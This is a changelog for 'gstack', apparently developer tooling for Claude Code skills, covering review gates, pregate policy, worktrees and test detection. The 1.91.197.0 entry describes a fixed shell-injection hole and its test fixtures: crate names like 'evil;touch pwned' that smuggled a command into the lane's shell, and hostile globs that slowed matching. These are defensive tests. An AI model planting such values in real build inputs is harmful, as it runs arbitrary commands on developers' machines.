# Changelog

## [1.91.211.0] - 2026-10-25

**`gstack-diff-scope` sees Python tests and nested test directories (#3335).** A branch that changed `components/orch/services/shared/tests/test_native_store_custody.py` reported `SCOPE_TESTS=false`, because the Tests rule only knew `*.test.*`-style suffixes and `test/`, `tests/`, `spec/` and `__tests__/` at the repository root. /ship and /review use that flag to route the testing specialist, so a backend change whose tests follow pytest's `test_*.py` convention skipped it. The test-bootstrap resolver already counted these files, so the two detectors disagreed.

### Fixed
- **`bin/gstack-diff-scope`**: a changed path is a test when it matches `TEST_PATH_RE`, the same regex the test-bootstrap resolver uses for its TESTFILES count (`scripts/resolvers/testing.ts`): test dirs at any depth, `test_*.py`, `tests.py`, `_test.<ext>`, `.test.`/`.spec.` JS and TS, `_spec.rb` and `*Test.java`/`.kt`. `conftest.py` counts too. The existing globs stay.

### Tests
- `test/diff-scope.test.ts` adds the issue's three paths, `pkg/test_store.py`, Django's `tests.py`, `conftest.py`, and nested `__tests__/` and `spec/` dirs; all eight fail on main. Controls that stay `SCOPE_TESTS=false`: `latest.py`, `contest_rules.py`, `attest_signer.py` and a `testing/` dir. A new test checks that `TEST_PATH_RE` is byte-identical to the resolver's regex, so the two can't drift again.

## [1.91.210.0] - 2026-10-25

**/autoplan works when Claude Code's project directory is a subfolder of the repository (#3296).** When the git root sits above the project (for example the root is `$HOME` and the session starts in `$HOME/projects/app`), a worktree session's journal lives in `.claude/worktrees/<name>` under that subfolder. The publication guard only looked for `<project dir>/.git/worktrees`, found nothing, and denied every phase Read with `foreign_cwd`, so the reporter had to restart the session from the repository root.

### Fixed
- **`autoplan/bin/phase-publication-hook.ts`**: `linkedWorktrees` walks up from the project directory to the first `.git` and reads that repository's worktree registry. A `.git` file (the project is itself a linked worktree or a submodule) stops the walk with no owners, as before. Git's two-way link is still required: the registry entry must name the worktree's `.git` file and that file must name the same entry back. No `git` process is started inside the hook.

### Tests
- `test/autoplan-publication-hook.test.ts` builds the reporter's layout with real `git worktree add`: a subfolder project directory (and a deeper one) owns the worktree under it, and the root still does. It fails on main. Controls that still get no owners: a nested independent repository (its own `.git` stops the walk), a project directory inside a linked worktree, a registry entry whose worktree names another repository, and a directory with no `.git` above it.

### Gate integrity
- One accepted-input change to review: from a project directory below the repository root, the guard now accepts the journal of a linked worktree of that same repository, which it already accepted when the project directory was the root. The seven existing `foreign_cwd` refusals in `test/autoplan-publication-guard.test.ts` (no link, one-sided links, another repository, a submodule gitdir, a project that is itself a worktree, a bare repository) still deny. No threshold, budget, timeout, trial count or case kind changed.

## [1.91.209.0] - 2026-10-25

**The free test suite no longer rewrites a contributor's global git pre-push hook (#3353).** On a machine with a global `core.hooksPath`, `test/redact-prepush-target.test.ts` and `test/fs-utils.test.ts` ran `gstack-redact install-prepush-hook` with the parent environment. Git resolved the hooks directory to the global one, so the install moved the developer's own `pre-push` to `pre-push.local` and left a managed wrapper pointing into the test checkout, which breaks every later push once that checkout is gone. The same config also failed 4 tests in the target file, 5 in `test/redact-prepush-hook.test.ts` and 1 in `fs-utils`. CI has no global hooks path, so it stayed green.

### Fixed
- **`test/helpers/git-env.ts`** (new): `gitEnv()` is the one fixture environment for git and hook installs: `GIT_CONFIG_GLOBAL=/dev/null`, `GIT_CONFIG_NOSYSTEM=1`, `GIT_CONFIG_COUNT=0` and no `GIT_CONFIG_PARAMETERS`. Config written inside the fixture repo still applies.
- `test/redact-prepush-target.test.ts`, `test/redact-prepush-hook.test.ts` and `test/fs-utils.test.ts` pass it to every fixture git, install and hook spawn. `test/redact-prepush-scan-range.test.ts` and `test/redact-prepush-rebase-force-push.test.ts` drop their private copies (#2967) and import it.

### Tests
- A new case in `test/redact-prepush-target.test.ts` sets a global, system and environment `core.hooksPath` to a hook that fails, builds the fixture, and checks the developer's hooks directory is untouched, the managed hook landed in the fixture repo, and a push never runs the developer's hook. It fails without the shared environment.
- Rerun of the issue's repro with `HOME` pointing at a gitconfig with a global hooks dir: on main, two files rewrote it and three files had failures; with this change all six `redact-prepush-*` and `fs-utils` files pass and the directory is unchanged.

## [1.91.208.0] - 2026-10-25

**The Capy install guide says that the team-mode session-start updater also waits for live workflow leases.** With #3385 (#3363), `bin/gstack-session-update` skips its background fast-forward while another session holds a live workflow lease, the same leases `bin/gstack-upgrade` already honors. `docs/capy-install.md` described only the upgrade side.

### Documentation
- **`docs/capy-install.md`**: the workflow-lease paragraph now says the team-mode SessionStart hook (`bin/gstack-session-update`) honors the same leases. It logs `SKIP leased pid=<p>/<age>m` to `analytics/session-update.log` and tries again at the next session start, without writing its hourly throttle stamp.

## [1.91.207.0] - 2026-10-25

**Per-repository session counts include sessions from removed Claude Code worktrees (ported from #3334 by @Shweta-Mishra-ai).** Claude Code creates worktrees at `<repo>/.claude/worktrees/<name>` and removes them once their branch merges, but their session history stays. `gstack-global-discover` resolved each session's recorded directory with git, so a removed worktree resolved to nothing: its sessions counted in the tool total and in no repository. Reproduced on main: 2 sessions in a repo plus 3 in a removed worktree gave `total_sessions 5` but 2 for the repo.

### Fixed
- **`bin/gstack-global-discover.ts`**: when a session's directory no longer exists and sits inside `<repo>/.claude/worktrees/<name>` (or a subdirectory of it), the session counts with `<repo>`. Any other missing directory, and a worktree whose repository is gone too, still count in no repository. A live worktree keeps its own path, as before.

### Tests
- `test/global-discover.test.ts` gains six end-to-end cases built with real `git worktree add` and `remove` (removed worktree, a subdirectory of one, a repo with no remote, plus the live-worktree, gone-repo and plain-missing-directory controls) and table tests for the path matcher. The three positive cases and the matcher tests fail on main.

## [1.91.206.0] - 2026-10-25

**A repo that keeps `.gstack/` out of git can give pregate a policy, and name the CI lanes a local run satisfies (#3286).** On a shared repo where gstack is one contributor's tool, pregate fell back to defaults, so every platform lane the machine could not run (an `ubuntu-latest` suite on a Mac, say) became a `requires-remote` obligation that never cleared, even when that suite runs the same here. Ported from #3286 by arlophoenix, whose 13 commits carry the feature (merged with their history kept); our commits on top close two findings from a security-focused review of the port.

### Added
- **`lib/pregate/context.ts`, `lib/pregate/config.ts`** (arlophoenix): when the base branch carries no `.gstack/pregate.json`, `gstack-pregate run` reads `<state root>/projects/<slug>/pregate.json`. Never under `--policy-from head`, never a relative path or one inside the checkout, and never chosen by a checkout's `.env` (the bin ignores it, and a bare `bun gstack-pregate` beside one refuses). An unreadable file, a dangling link on its path, `sealed` or `price_file` refuses with `PREGATE_CONFIG_INVALID`; a base copy git cannot read refuses with `POLICY_SOURCE_UNAVAILABLE` unless `git ls-tree` confirms it is absent.
- **`local`** (arlophoenix): `<workflow.yml>/<job>` lanes a local run satisfies run here instead of becoming `requires-remote`. Under 8 cores with a `remote_gate` or remote `test_backend`, the small-machine obligation still stands.
- **`lib/pregate/index.ts`** (arlophoenix): the record names the user file and its digest, and `verify` goes `PREGATE_STALE` when it is edited, deleted, or appears after a run under the defaults. Fix texts for missing lanes, strays, stalls and `remote_gate` name the active policy file.

### Fixed
- **`lib/pregate/context.ts`**: a user policy whose path reaches the checkout through any symlink is ignored. Before, only the lexical path and the final target were checked, so a state root linked into the checkout, holding a link back out to another existing policy, let a branch choose a more permissive file without changing its bytes.
- **`lib/pregate/index.ts`**: `verify` goes `PREGATE_STALE` when a link on the way to the absent user path starts pointing nowhere. A fresh run refuses that state, but verify looked only at the leaf, so an old defaults pass stayed publishable. The loader and verify now share one absence check.

### Tests
- `test/pregate-user-policy.test.ts` (new, arlophoenix) covers the user file, `local`, the refusals, `.env` isolation and stale receipts. New cases: a link chain through the checkout is refused for both a linked state root and a single in-repo hop, while a direct outside link is still read; and verify goes stale on a dangling parent, with the plain-absent path as the control.
- `test/pregate-rust.test.ts`: the two cargo-lane cases skipped on Windows carry a `TODO(#3380)` naming the gap.

### Gate integrity
- No threshold, budget, timeout, trial count, case kind or skip changed. The user file can relax lanes only where the base has no policy at all, and only from outside the repository; the two fixes make that containment stricter.
- No new dependency, no network call, no workflow change.

## [1.91.205.0] - 2026-10-25

**/ship's Step 9 can re-review just the fixes after a fixing pass, and a narrowed pass can never be the review that ships (#3339).** Before, every fix cycle reran every specialist and the Red Team over the whole branch. On a large branch each full pass tends to find something new in code earlier passes already read, so the loop often ran to the three-cycle stop without converging. Now the pass after a fixing pass can review only what changed since that pass. One full pass still has to come last: a fix-range record is never CURRENT, and Step 11.5 can't bind it. Garry approved this on 2026-10-24 ("only with a mandatory final full pass").

### Added
- **`bin/gstack-review-log --start review --fix-range`** prints the start token, then `FIX_BASE=<sha>`. The base comes from the review log, never from the caller or the working tree, so `gstack-wtree`'s fingerprint is untouched. It is the commit of the latest pass of the same skill, and that commit's tree must be exactly the content the pass started from, so `git diff <FIX_BASE>` holds every fix, committed or not. The start refuses (exit 1, "run a full pass") in each of these cases: there is no earlier pass, that pass didn't complete (restoring coverage always takes a full pass), it made no fixes, it has no captured start, it ran on another branch, a Step 11 review followed it, it started from uncommitted or untracked content, or its commit no longer resolves or is no longer an ancestor of HEAD (after a rebase). On the start-work-then-ship flow, where Step 9 first reviews uncommitted work, the first repeat therefore stays full.
- **`lib/review-evidence.ts`**: the start token carries `scope: "fix-range"` and `fix_base`. The logged row takes `scope` and `fix_base` only from the token (a caller's values are dropped either way), and a token that names any fix base stays narrowed even if its scope is rewritten. On unchanged content its `review_binding` is `{state: "fix-range", range_start_wtree, range_end_wtree, …}`, with no `start_wtree`/`end_wtree` and no root `wtree`. `reviewFreshness` returns UNVERIFIED for any fix-range row ("fix-range pass; only a later full pass can clear review"), even one with a verified-looking binding.
- **`bin/gstack-specialist-stats`** skips fix-range rows, so narrowed dispatches don't push specialists toward `[GATE_CANDIDATE]`.

### Changed
- **`ship/sections/review-army.md.tmpl`**: the core checklist explains the fix-range start, and that `FIX_BASE` stands in for `origin/<base>` and `<base>` for that pass. Decision 3 allows the repeat to be a fix-range pass. Decision 4 continues to Step 10 only from a full pass. Nearby prose was tightened to pay for the growth, so ship's skeleton plus sections is 313,246 bytes against its 313,281 cap (35 bytes below main).

### Tests
- `test/review-fix-range.test.ts` (20 cases) follows Step 9.4's real order (fixes applied before the row is logged). It covers the base with committed and uncommitted fixes, chained fix-range passes, the eight refusals, a rewritten start token, a caller claiming `scope: "full"` on a fix-range token (it is still recorded as fix-range) or `"fix-range"` on a full one (it is dropped), Step 11.5's missing binding fields, UNVERIFIED freshness followed by CURRENT after a full pass, shared-libs reuse refusing a fix-range row, the stats exclusion, and the rendered Step 9 rules.

### Gate integrity
- One gate change to review: Step 9 may narrow a repeat pass. Verdict: not a weakening of what ships, because the narrowed pass can't be the final review. Three things enforce that: its row is never CURRENT, Step 11.5 has no `start_wtree`/`end_wtree` to bind, and decision 4 requires a full pass before Step 10. Mutation checks, each caught by the suite: dropping the freshness check, giving a narrowed row the normal binding, allowing a fix-range start after a clean, an incomplete or a Step 11-followed pass, accepting a non-ancestor base, accepting a start from uncommitted content, trusting the token's scope alone, and counting fix-range rows in stats. No threshold, budget, timeout, trial count or case kind changed.

## [1.91.204.0] - 2026-10-25

**An unattended run is told to end with `GSTACK_RESULT` only when its skill can write that line.** The unattended block `gstack-skill-start` prints told every unattended skill to log choices in `decisions.jsonl`, write a gate list and end with `GSTACK_RESULT: skill=<name> status=gate_pending run=<dir>`. Only `/autoplan` has helpers that write a run directory, so `/ship`, `/review`, `/qa` and the rest were asked to produce files and a result line nothing writes, and a parent that trusted the block would wait for them. `docs/unattended.md` already names which skills write the line and what a parent reads for the others (#3281); the runtime text now says the same thing.

### Fixed
- **`bin/gstack-skill-start`**: the decision rules in the unattended block are the same for every skill: take the recommended option, leave unrecommended questions, consents, destructive options and the final gate pending, and never approve, publish or push. Only the sentence about the run's record changes by skill. `/autoplan` keeps its run directory, its `decisions.jsonl` rows, the gate list and `GSTACK_RESULT: skill=autoplan status=gate_pending run=<dir>`. `/eval-plan` ends at its spend approval with `GSTACK_RESULT: skill=eval-plan status=gate_pending run=<outdir>`, and the block says no helper writes a `gate.json` for it yet. Every other skill is told it writes no run directory and prints no result line, to stop at its first pending item and list it in its final report, and which record the parent reads: the ship receipt (`gstack-ship-receipt read --pr <n> --json`) for `/ship`, the review-log rows (`gstack-review-read`) for `/review`, the `qa-report-*.md` file for `/qa`, and the skill's own record in `docs/unattended.md` otherwise.

### Tests
- `test/gstack-skill-start.test.ts` renders the unattended block for `autoplan`, `eval-plan`, `ship`, `review`, `qa` and `investigate`. It checks that each keeps the shared decision rules, that only `autoplan` and `eval-plan` get a result line (with their own skill name, never `<name>`), and that the other four get no result line, gate list, `decisions.jsonl` or `run.json` and name their record. Against the old block it fails, and so does the existing unattended test, which now expects `skill=autoplan`.

### Gate integrity
- One test expectation changed: the existing unattended test expects `GSTACK_RESULT: skill=autoplan …` instead of the `skill=<name>` placeholder, which is stricter. No threshold, budget, timeout, trial count or case kind changed.

## [1.91.203.0] - 2026-10-25

**Asking gstack to fix a failure no longer always opens /investigate (#3157, #3158).** The router sent every bug report straight to the full /investigate workflow, even when the user had named the cause or one look at the failing code showed it. Now the router checks first. When the user names a cause and a narrow fix, it makes one read-only check of the evidence. When that confirms the cause, it makes the fix and runs the focused test. When the cause is unknown, it makes one bounded, read-only triage pass over the supplied evidence and the directly implicated test and code, with no reproduction, hypothesis testing or wider search, and fixes the failure directly only when that pass establishes the root cause. Anything still unclear, including a cause the check contradicts, goes to /investigate before any edit, so the root-cause bar holds. A failing test or stack trace no longer counts as proof of its cause.

### Changed
- **`SKILL.md.tmpl`** (root router): the bug-report rule points to a new **Failures** block that carries the two paths. Its text comes from `generateFailureRouting()` in `scripts/resolvers/preamble/generate-test-failure-triage.ts`.
- **`bin/gstack-skill-start`** and `CLAUDE.md`: the routing section gstack offers for a project's CLAUDE.md now reads "Bugs/errors → invoke /investigate, unless one read-only check confirms the cause and a narrow fix (then fix it and run the focused test)", so it agrees with the router.
- **`/ship` Test Failure Ownership Triage**, "Investigate and fix now": "Switch to /investigate mindset" becomes "One read-only root-cause pass, then `/investigate` if unclear."

### Tests
- New paid eval `test/skill-e2e-failure-routing.test.ts` (gate, `rule`): four fixture repos, two per issue. `router-failure-verified-cause` and `router-failure-triage-resolves` must fix the bug without /investigate and leave the suite green. `router-failure-contradicted-cause` (a user-supplied cause the code contradicts) and `router-failure-triage-unclear` (an intermittent CI-only failure) must invoke /investigate, and an edit before it is a contract violation. Every case needs one to four read-only calls before it routes. `GSTACK_ROUTER_ARM=before` runs the same cases against the base branch's router.
- `test/skill-validation.test.ts` checks that the rendered router carries the rule and no longer sends bug reports straight to /investigate, that both paths keep the /investigate fallback, that the shipped CLAUDE.md routing line matches this repo's own, and that /ship's fix-now step uses the bounded pass.

### Gate integrity
- No threshold, budget, timeout, trial count or existing case kind changed. The ship skill's parity size stays under its cap (313,260 of 313,281 bytes; 313,276 with #3372 merged). The new eval's negative controls are the two /investigate cases, and on the base router the triage cases go red.
- Registries and pins the new gate-tier file needs, each with a stated reason: `test/eng-finding-retry-budget.test.ts` counts 110 paid test files (was 109). `test/helpers/e2e-hosts.ts` lists the four cases as `skill-tool` Claude-only, because they assert on the Claude Skill tool call. `test/codex-host.test.ts` counts 33 Claude-specific gate cases (was 29).
- Each train gate now runs the four new cases, one trial each, for about $0.37 (measured at this head: $0.06, $0.06, $0.11 and $0.14; about 67 s wall when they run in parallel).

## [1.91.202.0] - 2026-10-25

**Team-mode session auto-update waits for live gstack sessions instead of moving the checkout under them (#3363).** `bin/gstack-upgrade` already refuses with `UPGRADE_BUSY` while another live session holds a workflow lease on the installation (`bin/gstack-lease`), but the SessionStart hook `bin/gstack-session-update` never read the leases. A shared `./setup --team` install could fast-forward and re-run `./setup` while another session was mid-workflow. Reproduced on main: with a live lease held, the hook logged `UPDATING` and moved the install's HEAD.

### Fixed
- **`bin/gstack-session-update`**: after taking its setup lock and before fetching, the background updater asks `gstack-lease live --root <install> --exclude-ancestry-of <hook pid>`. Any live lease from another session logs `SKIP leased pid=<pid>/<age>` and exits without fetching, fast-forwarding, retrying a pending setup stage or writing the hourly throttle stamp, so the next session start tries again. `GSTACK_UPGRADE_FORCE=1` overrides, as it does for `gstack-upgrade`. A dead or stale lease never blocks.

### Tests
- `test/session-update-stages.test.ts` holds a lease from a live process: the install's HEAD, setup runs and the throttle stamp are unchanged, and the first session start after the holder exits updates. A second case shows a lease also holds a pending setup retry. Both fail on main. Controls: `GSTACK_UPGRADE_FORCE=1` updates under a live lease, and a lease whose process is dead does not block.

## [1.91.201.0] - 2026-10-25

**/ship's review army and /plan-eng-review now ask for one severity scale, CRITICAL or INFORMATIONAL, the same scale /review, the specialist JSON and the review checklist already use (#3349).** The shared confidence rubric those two skills render told the model to label findings `[P1]` and `[P2]` and to report a 1-2 confidence finding "only if severity would be P0", while the rest of /ship's Step 9 (Pass 1 CRITICAL, Pass 2 INFORMATIONAL, `"severity":"CRITICAL|INFORMATIONAL"`) used the other scale. A finding from one skill couldn't be compared, deduplicated or gated against a finding from another. Garry picked CRITICAL/INFORMATIONAL for plan-eng-review on 2026-10-24.

### Fixed
- **`scripts/resolvers/confidence.ts`** (default branch, rendered into `ship/sections/review-army.md` and `plan-eng-review/sections/review-sections.md`): every finding carries a severity, CRITICAL (blocks shipping) or INFORMATIONAL (lower severity, still actioned). The format is `[CRITICAL|INFORMATIONAL] (confidence: N/10) file:line — description` with CRITICAL and INFORMATIONAL examples. A 1-2 score is reported only for a suspected release-blocking catastrophe, at CRITICAL severity and marked explicitly speculative, the rule /review already uses. Repeated sentences in the verification gate and the calibration-learning note were shortened, so ship's skeleton-plus-sections size falls by 77 bytes (313,204 against its 313,281 cap).

### Tests
- `test/eng-first-review.test.ts`: the two captured plan-eng-review first-review questions (`eng-annotated-cache-au`, `eng-declarative-as`) still open review when their `[P1]` label becomes `[CRITICAL]` or `[INFORMATIONAL]`. They stay closed for `[HIGH]`, `[critical]`, `[Critical]`, `[P4]`, `[CRITICAL|INFORMATIONAL]` and no label.

### Gate integrity
- One accepted-input change to review: the paid-test detectors `test/helpers/eng-cache-writer-decision.ts` and `test/helpers/pty/boundaries.ts` accept `[CRITICAL]` and `[INFORMATIONAL]` alongside `[P0]`-`[P3]` in a plan finding's annotation, because the skill now asks for those labels. Without it, both captures relabelled `[CRITICAL]` are rejected. Verdict: not a weakening. The label is metadata, and every substantive check (decision, assessment, actors, options) is unchanged. Mutation checks: restoring `P[0-3]` alone fails the positive cases; `[^\]]+`, `P[0-9]` or a case-insensitive CRITICAL each fail the negative controls. `scripts/harness-version.json` records `test/helpers/pty/boundaries.ts` as non-behavioral at HARNESS_VERSION 6: only the changed plan-eng-review prompt asks for the new labels, and the cases that run it already start their own series. The 11 plan-eng-review size pins in `test/fixtures/skill-md-size-allowlist.json` come down by 75 characters. No threshold, budget, timeout, trial count or case kind changed.

## [1.91.200.0] - 2026-10-25

**/cso doctor no longer calls a Go repository "stack: python".** A repository with a root `go.mod` and no Node, Bun, Rails or JVM build matched no supported stack, so preparation fell back to Python and doctor reported `stack: python` with `MISSING_METADATA requirements.txt`, which sent Go users looking for a Python file they never needed (#3263). Go runtime support itself is not planned for now (Garry, 2026-10-24), so /cso keeps running static assessment on Go repositories; the runtime catalog and the /cso release contract are unchanged.

### Fixed
- **`lib/cso/preparation.ts`**: a root `go.mod` with no other supported stack is reported as `stack: go` with `UNSUPPORTED_STACK` ("Go (go.mod) is not a supported runtime stack yet; supported runtime stacks are Node, Bun, Python, and Rails."), the way a Maven or Gradle build is already reported as Java. Python helper metadata beside `go.mod` (a docs `requirements.txt`, say) no longer turns the repository into Python. A `go.mod` beside a Node, Bun or Rails lockfile leaves that stack's detection as it was.

### Tests
- `test/cso-preparation.test.ts` checks that a Go module is `go` with exactly that prerequisite and never mentions `requirements.txt`, and that a hashed `requirements.txt` beside `go.mod` stays Go. Both fail on main. Controls: `go.mod` beside a Node lockfile stays a ready Node plan, a Python project without `go.mod` stays Python, and a repository with no stack metadata keeps the Python fallback.
- `test/helpers/cso-runtime-catalog.ts` leaves `go` out of its qualified-runtime fixture list, as it already did `java`.

### Gate integrity
- No gate edit. No threshold, budget, timeout, trial count or case kind changed.

## [1.91.199.0] - 2026-10-25

**When /sync-gbrain refuses because a gbrain autopilot is running, it now says which process it found and what to do.** The guard against syncing while `gbrain autopilot` runs is machine-wide on purpose: two syncs sharing one brain or working tree can race and delete files (#1734). But the refusal only said `(process:gbrain autopilot)`, so someone whose autopilot served a different brain could not tell what was blocking them (#3360, part 1). Garry decided on 2026-10-24 to keep the check machine-wide and improve the message.

### Changed
- **`lib/gbrain-guards.ts`**: the live-process probe still runs `pgrep -f "gbrain autopilot"` across the whole machine, then reads each match's command line with `ps`. The refusal names every match as `pid <n> \`<command>\``, says the check counts any process on the machine whose command line contains "gbrain autopilot" (an autopilot serving another brain or repo included), and says to stop that autopilot or its `gbrain autopilot --install` service, or end a process that only mentions it. Commands are cut at 200 characters and the user and password part of a URL is masked. A pid that `ps` cannot describe still refuses, as `command unavailable`. The header comment now gives the machine-wide reason in place of the stale gbrain #1226 note.

### Tests
- `test/gbrain-guards.test.ts` pins the full refusal for one matched process, lists two matches, keeps an empty match inactive, and runs the real probe against a live process whose command line carries "gbrain autopilot" and a database URL with a password: the refusal names its pid and masks the password. All four fail on main. The existing probe, lock and stale-lock tests are unchanged.

### Gate integrity
- No gate edit: the guard refuses in exactly the cases it did before, and only its message changed. No threshold, budget, timeout, trial count or case kind changed.

## [1.91.198.0] - 2026-10-25

**A second-opinion reviewer that says "not ready" is no longer reported as clean.** When the outside reviewer (Codex or Claude Code) ended its reply with `Verdict: not ready` but listed only advisory P2 or P3 findings, `lib/outside-review-result.ts` printed `VERDICT: clean` and exited 0, so /ship and /codex carried on as if the reviewer had approved. The not-ready check only ran when no severity parsed at all, so a parsed P2 or P3 switched it off (#3329). Ported from #3364 by @mvanhorn.

### Fixed
- **`lib/outside-review-result.ts`**: when the reply's last recognized `Verdict:` line says `not ready`, the result is `findings` (exit 3) whatever severities parsed, and `FINDINGS:` still names the highest one. Advisory P2/P3 findings with a ready verdict, or with no verdict, stay `clean`. A `Verdict:` line quoted in a code fence or inline code still does not count, and the proposal and spec gates ignore it as before.
- **`docs/troubleshooting.md`**: the "Every review gate" rule under *How the verdict is read from a review* now says a not-ready reply blocks even when P2 or P3 parsed.

### Tests
- `test/outside-review-unparsed-severity.test.ts` covers the issue's reply (numbered bold P2 plus P3, then `Verdict: not ready`) on the execution, structured and review gates, P3-only and unlabeled not-ready replies, the last verdict winning in both directions, bold, bulleted and heading verdict lines, and an unparsed label beside a parsed P2. Five of its tests fail on main's classifier and pass with the fix. Controls that stay `clean`: P2/P3 with `Verdict: ready` or no verdict, a not-ready verdict inside a code fence or inline code, and `ready-one-p3.txt`. Missing review markers, a failed execution, and the proposal and spec gates keep their old results.

### Gate integrity
- One gate edit, and it strengthens the gate: the pinned `bare-dash-p2.txt` fixture (two P2 lines, then `Verdict: not ready (2 P2)`) moves from `VERDICT: clean`, exit 0 to `VERDICT: findings`, exit 3. Garry approved this reversal on 2026-10-24. No threshold, budget, timeout, trial count or case kind changed.

## [1.91.197.0] - 2026-10-25

**Pregate gives touched Rust files a test lane, and runs a nested pnpm or vitest package with its own runner (#3344).** In a mixed Cargo and JavaScript repo, every touched `.rs` file failed `lanes` with "has no test lane", so /ship could not get a receipt, and a nested package's vitest tests ran under `bun test` from the repo root (about 98 false failures in the reporter's repo). Ported from #3346 by vilano93, whose two commits carry the feature; our commits on top close four findings from a security-focused review of the port and make the new fixtures hermetic.

### Fixed
- **`lib/pregate/rust.ts`** (new, vilano93): a crate is the nearest Cargo.toml with `[package]`. Its `.rs` files under `tests/` or holding a `#[cfg(test)]` are tests, and every `.rs` file of a crate and its Cargo.toml select that crate's tests and those of every crate depending on it. Manifests are parsed as TOML, so renamed, inherited, dotted, table-form and target-specific dependencies all count, and a crate runs from the workspace it is a member of under Cargo's rules (members, exclude, `package.workspace`). Nothing runs cargo to build the graph.
- **`lib/pregate/checks/lanes.ts`** (vilano93): selected Rust tests run per crate as `cargo test -p <name>` from the workspace root and are judged on the summed `test result:` lines; zero tests is ZERO-RUN and a missing cargo is incomplete. A JS/TS test owned by a nested package.json that declares vitest or jest runs from that package through the package manager its `packageManager` field or nearest lockfile names (`pnpm exec`, `yarn`, `bun x`, else `npx`).
- **`lib/pregate/checks/lanes.ts`**: the crate name comes from the repo's Cargo.toml and reaches the lane's shell. Before, a crate named `evil;touch pwned` ran `touch pwned` in the workspace, and a name containing `{files}` spliced the file list into the command. A name outside Cargo's grammar (letters, digits, `_`, `-`) now gets no runner, so its files are unclaimed and the lane is incomplete, as Cargo would refuse the manifest anyway; a valid name is quoted like every file and cwd. The lane only runs with `--allow-repo-commands`, under which the repo's tests run anyway, but no other repo input reached the shell unquoted.
- **`lib/pregate/rust.ts`**: Cargo `members` globs are matched per path component and by Unicode code point, in one pass. The first cut used the policy glob matcher, which matched `[ab]` literally (a member listed that way lost its inherited workspace dependencies, so its tests were never selected) and backtracked for seconds on a hostile glob. Past 4096 characters of `members` globs, membership is undecided: every crate under the workspace counts as a member for dependency edges (more tests, never fewer), but its own tests are unclaimed and the lane is incomplete, because running `cargo test -p <name>` from the wrong root can test a same-named member instead.
- **`lib/pregate/rust.ts`**: a plain `#[test]` or `#[tokio::test]` function in `src/` makes the file a test, so a dependent crate tested that way runs when its dependency changes. The `#[cfg(...)]` scan reads each attribute once, up to its closing `]`, so a file of unclosed attributes no longer takes seconds, and an attribute it cannot close counts as a test (more tests selected, never fewer).
- **`lib/pregate/init-draft.ts`** (vilano93): `init` notes that Rust tests run per crate.

### Tests
- `test/pregate-rust.test.ts` (new, vilano93) covers the crate model, the dependency forms, workspace membership, the cargo summary parser and three end-to-end lane runs. New cases: crates named `evil;touch pwned-by-crate-name` and `evil{files}` never reach the shell (nothing is created, both are unclaimed) while `naïve_crate-2` still runs quoted; `crates/[ab]`, `nested/**/leaf` and `unicode/?` (a 📦 directory) members inherit workspace dependencies; a plain `#[test]` dependent and a `cfg(any(test, feature = "<300 chars>"))` are tests; and a same-named non-member past the size cap is unclaimed rather than run as the member; a hostile members glob, a million unmatched `[` and 100,000 unclosed `#[cfg(` run in a supervised Bun that kills a super-linear version at 30 s. Each failed before its fix.
- The cargo stand-in is hermetic on POSIX: where Bun and cargo share a directory, the lane puts Bun's directory first and the real cargo ran against the fixture, so the shim PATH now uses the platform delimiter and the lane's bash puts the shim first again through `BASH_ENV`. On windows-free-shard (5) the two cases that run the stand-in failed deterministically (`local lane exited 1` with an empty log) and still did after the delimiter and a `Path`-key repair, so they are skipped on Windows (`test.skipIf(process.platform === 'win32')`, as other POSIX-shim pregate fixtures are); the selection, planning and hostile-name cases still run there.
- `test/pregate-selection.test.ts` (vilano93) covers nested pnpm/yarn/vitest/jest packages. Its `pnpm` stand-in gets the same `BASH_ENV` fix: on a host with a real pnpm beside Bun, the end-to-end case installed vitest from the network and came back incomplete.

### Gate integrity
- One coverage change to review: the two new end-to-end cargo-lane cases in `test/pregate-rust.test.ts` are skipped on Windows (they never passed there); Linux and macOS run them, and the rest of the file runs on Windows.
- No threshold, budget, timeout, trial count or case kind changed. Pregate's lanes now map and run tests for `.rs` files that previously failed closed with "no test lane", and nested vitest/jest packages run under their own runner instead of `bun test`. A `.rs` file outside any crate, a crate with no tests, and a missing cargo or package manager still fail closed or stay incomplete; the tests above cover each.
- No new dependency (Cargo.toml is parsed with Bun's built-in TOML parser), no network call in pregate itself, no workflow change. As with the root runner detection on main (`npx vitest run`), a nested package's detected runner (`npx`, `bun x`) may fetch a missing tool when it runs under `--allow-repo-commands`.

## [1.91.196.0] - 2026-10-25

**`/land-and-deploy` no longer stops parallel PRs with a false "VERSION drift detected".** Step 3.4 compared the branch VERSION with the next free patch slot (`gstack-next-version --bump patch --exclude-pr`) under every ship policy. So it stopped a stamp-at-merge PR whenever a sibling shared its tentative stamp, a claim-at-open PR whenever a sibling had claimed a higher slot, and every MICRO bump even with no other PR open. Reported with a full reproduction by Evgenii Lopatin (@exGeni) in #3318.

### Fixed
- **`land-and-deploy/SKILL.md.tmpl` Step 3.4**: reads `gstack-ship-policy show-effective` and prints one `VERSION_CHECK:` verdict. Under `stamp-at-merge` it ignores claims and checks the exact head stamp: VERSION is the base's version plus one bump, and the changelog's top two headings are that version and then the base's top entry. Otherwise it stops with `STOP stamp stale` and names the `gstack-restamp --next` command. Under `claim-at-open`, and with no policy file, it stops only on a real collision: another open PR holds the same VERSION, or the base is already at or above it. MICRO bumps and versions below a sibling's claim pass.

### Documentation
- `docs/ship-policy.md` gains "What `/land-and-deploy` reads from it", which gives Step 3.4's stop and pass conditions for each `queue_mode`.

### Tests
- `test/land-and-deploy-version-check.test.ts` runs the template's own Step 3.4 block against real git fixtures with the real `gstack-ship-policy` and a stubbed claim list, under bash and, when installed, zsh. It covers the three false stops from #3318 (all pass now) and the real stops: a same-VERSION claim, a base at or above the branch, a stale stamp after a sibling landed, a base that moved by MICRO under a stamp, an `[Unreleased]` entry, and a two-bump stamp. A missing VERSION, an invalid policy and unread claims are `unavailable`.

### Gate integrity
- Step 3.4 now stops on fewer inputs: a unique VERSION below a sibling's claim, a MICRO bump, and a stamp-at-merge stamp that siblings share no longer stop. Every real collision still stops, and six mutation controls of the block (drop the collision check, the base check, the changelog binding, the one-bump rule, the policy read, or the unread-claims rule) each turn the new tests red. One new `unavailable` path: an invalid ship policy. It mirrors the existing offline path, and a base at or above the branch still stops there.
- Owner-approved budget raise (Garry, 2026-10-24: "do it"): land-and-deploy's exact size pins in `test/fixtures/skill-md-size-allowlist.json` move up by 1,084 to 1,111 characters on 11 hosts, and its parity `maxSizeRatio` in `test/helpers/carve-guards.ts` goes from 1.112 to 1.125 (measured 1.1201). No threshold, timeout, trial count or case kind changed.

## [1.91.195.0] - 2026-10-25

